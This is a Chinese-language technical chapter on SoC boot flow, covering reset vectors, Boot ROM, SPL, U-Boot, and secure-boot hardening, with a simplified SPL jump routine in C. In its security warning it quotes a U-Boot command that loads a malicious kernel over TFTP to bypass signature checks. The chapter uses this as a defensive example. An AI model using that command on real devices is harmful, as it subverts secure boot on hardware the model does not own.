3、Boot ROM 启动流程:从复位向量到二级加载器

芯片上电那一刻,CPU 看到的第一个指令是什么?

嗯,就是复位向量。说白了,Boot ROM 就是芯片的「出厂固化代码」,它决定了整个系统的命运。我做过好几款 SoC 的安全启动方案,每次改 Boot ROM 都像在刀尖上跳舞——因为这东西流片后就改不了了。

3.1 复位向量:一切从这里开始

CPU 复位后,PC 指针会跳到一个固定地址。ARM Cortex-A 系列通常是 0x00000000 或 0xFFFF0000,RISC-V 一般是 0x80000000 附近。这个地址指向的就是 Boot ROM 的第一条指令。

关键点:复位向量必须是非易失性存储,且上电瞬间就能访问。Boot ROM 通常是芯片内部的 Mask ROM 或 OTP,外部 Flash 此时还没初始化呢。

我记得有一次调试一块新板子,死活起不来。逻辑分析仪一抓,发现复位向量指向了外部 SPI Flash——但 Flash 的时钟还没配好,CPU 读到的全是 0xFF。这就是典型的「先有鸡还是先有蛋」问题。

3.2 一级启动加载程序(SPL / FSBL)

Boot ROM 代码很短,通常只有 8KB 到 64KB。它干不了太复杂的事,主要任务就是:初始化最基本的硬件(时钟、DDR 控制器),然后把二级加载器从 Flash 搬到内存里。

这个阶段,我们叫它 SPL(Secondary Program Loader)或 FSBL(First Stage Boot Loader)。名字不同,本质一样。

3.2.1 SPL 的典型工作流程

  1. 关闭看门狗——防止启动过程中被复位
  2. 配置系统时钟——让 CPU 和总线跑在目标频率
  3. 初始化 DDR 控制器——内存是二级加载器的运行场所
  4. 从存储介质读取 U-Boot——支持 NAND、eMMC、SD 卡等
  5. 验证签名(安全启动)——检查二级加载器的完整性
  6. 跳转到二级加载器入口——移交控制权

我的经验:SPL 的大小限制很严格。比如 i.MX6 的 Boot ROM 只加载 4KB 到内部 SRAM,你写的 SPL 必须小于这个尺寸。我曾经为了省 16 字节,把调试打印全删了——结果板子起不来,又得加回去。

3.2.2 代码示例:SPL 跳转逻辑

/* 典型的 SPL 跳转代码(简化版) */
void spl_boot_device(void)
{
    uint32_t *uboot_entry = (uint32_t *)CONFIG_SYS_TEXT_BASE;
    
    /* 从 Flash 读取 U-Boot 到 DDR */
    flash_read(CONFIG_SYS_TEXT_BASE, CONFIG_SYS_SPL_LEN);
    
    /* 安全启动:验证签名 */
    if (secure_boot_enabled()) {
        if (!verify_image_signature(CONFIG_SYS_TEXT_BASE)) {
            /* 验证失败,进入恢复模式 */
            enter_recovery_mode();
            return;
        }
    }
    
    /* 清理缓存,跳转到 U-Boot */
    dcache_disable();
    icache_disable();
    
    /* 直接跳转,不再返回 */
    ((void (*)(void))uboot_entry)();
}

3.3 二级启动加载程序(U-Boot / ABL)

二级加载器就灵活多了。U-Boot 是嵌入式 Linux 的标配,ABL(Android Boot Loader)则是 Android 设备用的。它们负责加载操作系统内核。

3.3.1 U-Boot 的启动阶段

阶段 说明 典型代码位置
SPL 初始化 DDR,加载 U-Boot 主程序 spl/ 目录
U-Boot proper 完整初始化外设,加载内核 board/ 目录
fastboot 烧录模式(Android 设备) cmd/fastboot.c

U-Boot 启动后,会读取环境变量,决定从哪个设备加载内核。支持网络启动(TFTP)、本地存储(eMMC、NAND)、甚至 USB 启动。

安全警告:U-Boot 的环境变量存储在 Flash 里,攻击者可以修改 bootcmd 来加载恶意内核。我见过一个案例,攻击者通过串口中断启动过程,输入 setenv bootcmd tftp 0x80000000 evil_kernel.img; bootm,直接绕过了签名验证。

3.4 完整启动流程图

下面这张图展示了从复位向量到操作系统加载的完整流程。我建议你把它打印出来贴在工位上——每次调试启动问题,对照着看能省不少时间。

Boot ROM 启动流程 Boot ROM 启动流程 复位向量 Boot ROM 初始化 SPL / FSBL 签名验证 验证失败 恢复模式 验证通过 U-Boot / ABL 加载操作系统内核 ⚠ 安全要点: 每个跳转点都是攻击面。Boot ROM → SPL 的签名验证、SPL → U-Boot 的完整性检查,缺一不可。

3.5 安全加固思路

启动流程的每个环节都可能被攻击。我总结了几条实战经验:

  • 复位向量保护:Boot ROM 必须锁定,不能通过 JTAG 或调试接口修改。我见过某款芯片把 Boot ROM 放在可擦写的区域,结果被熔断攻击改写了。
  • SPL 签名验证:Boot ROM 在加载 SPL 之前,必须验证其数字签名。公钥要固化在 OTP 里,不能从外部读取。
  • U-Boot 环境变量锁定:把环境变量区设为只读,或者用 HMAC 校验完整性。别让攻击者改 bootcmd。
  • 回滚保护:在 SPL 或 U-Boot 的版本号上做文章,防止攻击者加载旧版本的有漏洞代码。

避坑指南:我曾经在某个项目里只验证了 U-Boot 的签名,没管 SPL。结果攻击者替换了 SPL,在 SPL 阶段就把恶意代码注入了 DDR,等 U-Boot 启动时已经晚了。记住:每一级都要验证,不能偷懒。

3.6 小结

Boot ROM 启动流程就像一场接力赛:复位向量起跑,SPL 跑第一棒,U-Boot 跑第二棒,最后把内核送进终点。每一棒交接时都要检查「接力棒」的真伪——这就是安全启动的核心。

你想想看,如果攻击者在 SPL 阶段就植入了后门,后面再强的安全措施也白搭。所以,从复位向量的第一条指令开始,就要绷紧安全这根弦。